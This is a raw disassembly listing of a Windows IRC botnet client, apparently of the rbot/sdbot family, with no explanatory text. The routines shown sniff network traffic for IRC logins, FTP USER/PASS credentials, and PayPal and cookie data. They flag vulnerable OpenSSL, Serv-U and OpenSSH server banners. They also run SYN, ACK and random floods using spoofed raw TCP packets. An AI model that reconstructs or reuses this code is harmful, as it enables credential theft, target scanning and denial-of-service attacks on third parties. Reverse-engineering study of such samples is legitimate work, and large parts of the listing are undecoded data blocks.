858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h dd 0A4C481h, 858D0000h, 0FFFFFB24h, 50006A53h, 97BBE8h dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h, 0F004CB5h dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h, 7DF6851Eh, 40FF832Eh dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h dd 208300h, 0FD24858Dh, 0FF83FFFFh, 13755008h, 913FE8h dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h dd 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh, 0FFFFFB24h dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah dd 458B07EBh, 7C08308h, 24858D50h, 50FFFFFDh, 9F1BE8h dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h dd 6A59FFh, 0E02AE890h db 2Fh, 2 word_411FD6 dw 8B55h ; DATA XREF: sub_401ACD+412Bo dd 2B4B8ECh, 3DE80001h, 8B00009Bh, 57560855h, 8B58016Ah dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h, 9082h dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h, 0C7660CC4h dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch, 89026A03h dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h, 5959FFFFh dd 55E89056h, 8B022FDFh, 106AD045h, 234C069h, 0B8890000h dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h dd 97A2h, 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h dd 4CB6ECh, 0E8D075FFh, 0FFFF92EBh, 0E8905659h, 22FDED0h dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h, 75390CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h dd 59FFFF92h, 4DE89056h, 53022FDEh, 4355A8BBh, 0FFFFBF00h dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h, 0FEFD5885h dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh, 458B1808h dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h, 4CB6E0h dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h, 96D4h dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh, 0DCAEE890h db 2Fh, 2 ; =============== S U B R O U T I N E ======================================= sub_412352 proc near ; CODE XREF: sub_412661+213p ; sub_412661+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE3C0, eax mov eax, offset dword_4CE3C0 retn sub_412352 endp ; =============== S U B R O U T I N E ======================================= sub_412361 proc near ; CODE XREF: sub_412661+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237B loc_412377: ; CODE XREF: sub_412361+29j ; sub_412361+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237B: ; CODE XREF: sub_412361+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C3 loc_4123BF: ; CODE XREF: sub_412361+71j ; sub_412361+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C3: ; CODE XREF: sub_412361+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_1 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_0 ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BF push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BF push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412361 endp ; =============== S U B R O U T I N E ======================================= sub_412478 proc near ; CODE XREF: sub_412661+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412492 loc_41248E: ; CODE XREF: sub_412478+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412492: ; CODE XREF: sub_412478+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248E push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B8 loc_4124B4: ; CODE XREF: sub_412478+4Fj ; sub_412478+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B8: ; CODE XREF: sub_412478+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412478 endp ; =============== S U B R O U T I N E ======================================= sub_4124EE proc near ; CODE XREF: sub_412661+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412508 loc_412504: ; CODE XREF: sub_4124EE+29j ; sub_4124EE+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412508: ; CODE XREF: sub_4124EE+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412504 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412504 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253F loc_41253B: ; CODE XREF: sub_4124EE+60j ; sub_4124EE+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253F: ; CODE XREF: sub_4124EE+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aPass_1 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124EE endp ; =============== S U B R O U T I N E ======================================= sub_412575 proc near ; CODE XREF: sub_412661+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258F loc_41258B: ; CODE XREF: sub_412575+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258F: ; CODE XREF: sub_412575+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258B push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B5 loc_4125B1: ; CODE XREF: sub_412575+4Fj ; sub_412575+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B5: ; CODE XREF: sub_412575+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412575 endp ; =============== S U B R O U T I N E ======================================= sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412616 loc_412612: ; CODE XREF: sub_4125FC+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412616: ; CODE XREF: sub_4125FC+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412612 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263C loc_412638: ; CODE XREF: sub_4125FC+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263C: ; CODE XREF: sub_4125FC+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412638 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412661 proc near ; DATA XREF: sub_401ACD+427Do var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB668 lea eax, [ebp+var_3B8] push eax call dword_4CB6D8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412707 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412707: ; CODE XREF: sub_412661+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CB680 cmp eax, 0FFFFFFFFh jnz short loc_41277D call dword_4CB5E8 push eax lea eax, [ebp+var_2B8] push offset unk_4361C0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412759 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h loc_412759: ; CODE XREF: sub_412661+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_34] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop loc_41277D: ; CODE XREF: sub_412661+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB600 cmp eax, 0FFFFFFFFh jnz short loc_412803 call dword_4CB5E8 push eax lea eax, [ebp+var_2B8] push offset unk_436190 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DF push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h loc_4127DF: ; CODE XREF: sub_412661+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_34] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop loc_412803: ; CODE XREF: sub_412661+13Cj mov esi, 200h loc_412808: ; CODE XREF: sub_412661+1D6j ; sub_412661+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB66C cmp [ebp+var_113AF], 6 jnz short loc_412808 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412808 cmp [ebp+arg_0], 19h jz short loc_412808 cmp edi, 6Eh jz short loc_412808 cmp edi, 19h jz short loc_412808 push [ebp+var_113AC] call sub_412352 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412352 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412906 loc_4128D2: ; CODE XREF: sub_412661+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E9 mov byte ptr [eax], 20h loc_4128E9: ; CODE XREF: sub_412661+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F1 mov byte ptr [eax], 20h loc_4128F1: ; CODE XREF: sub_412661+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D2 loc_412906: ; CODE XREF: sub_412661+26Fj cmp [ebp+arg_0], 50h jz loc_4129B9 cmp edi, 50h jz loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_412361 test al, al pop ecx jz short loc_41294D lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43615C jmp loc_4129E8 ; --------------------------------------------------------------------------- loc_41294D: ; CODE XREF: sub_412661+2C7j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_412478 test al, al pop ecx jz short loc_412983 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436128 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_412983: ; CODE XREF: sub_412661+300j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax call sub_4124EE test al, al pop ecx jz short loc_4129B9 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360F4 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_412661+2A9j ; sub_412661+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412575 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A26 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4360BC loc_4129E8: ; CODE XREF: sub_412661+2E7j ; sub_412661+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412808 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A73 add esp, 14h jmp loc_412808 ; --------------------------------------------------------------------------- loc_412A26: ; CODE XREF: sub_412661+36Ej call sub_4125FC test al, al pop ecx jz loc_412808 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436084 jmp short loc_4129E8 sub_412661 endp ; --------------------------------------------------------------------------- dword_412A54 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h ; DATA XREF: sub_401ACD+6543o dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0E8000000h dd 22ADBEDh, 51E85090h, 8D00008Eh, 0FFFE7485h, 858D50FFh dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh dd 398h, 5014C483h, 0FB6C858Dh, 0EC68FFFFh, 50004361h dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h, 0E8FFFFFDh dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022FD4h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B09 proc near ; CODE XREF: ___:00412E80p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 test eax, eax jz short loc_412B49 xor eax, eax jmp loc_412E3C ; --------------------------------------------------------------------------- loc_412B49: ; CODE XREF: sub_412B09+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E34 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB634 cmp eax, 0FFFFFFFFh jz loc_412E2A push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB654 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB654 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB654 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB654 push 12345678h mov [ebp+var_14], ax call dword_4CB650 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C19 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C19: ; CODE XREF: sub_412B09+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C35 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412B09+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6D call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6D: ; CODE XREF: sub_412B09+10Ej ; sub_412B09+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB654 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27C0000h lea eax, [ebp+var_1C] push eax nop call near ptr 27B091Ah push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBB: ; CODE XREF: sub_412B09+2E2j ; sub_412B09+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB654 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB6B8 cmp eax, 0FFFFFFFFh jz short loc_412DFE add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 27B091Ah nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E27 jl loc_412CBB mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E27 jmp loc_412CBB ; --------------------------------------------------------------------------- loc_412DFE: ; CODE XREF: sub_412B09+2CBj call dword_4CB5E8 push eax lea eax, [ebp+var_F4] push offset dword_436214 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AD add esp, 10h jmp short loc_412E2A ; --------------------------------------------------------------------------- loc_412E27: ; CODE XREF: sub_412B09+2E0j ; sub_412B09+2EEj mov ebx, [ebp+arg_8] loc_412E2A: ; CODE XREF: sub_412B09+78j ; sub_412B09+31Cj push [ebp+var_20] call dword_4CB6EC pop esi loc_412E34: ; CODE XREF: sub_412B09+5Bj call dword_4CB5AC mov eax, ebx loc_412E3C: ; CODE XREF: sub_412B09+3Bj pop edi pop ebx leave retn sub_412B09 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B09 add esp, 20h test eax, eax jnz short loc_412E8F push 1 pop eax loc_412E8F: ; CODE XREF: ___:00412E8Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- word_412E9E dw 8B55h ; DATA XREF: sub_401ACD+6722o dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h 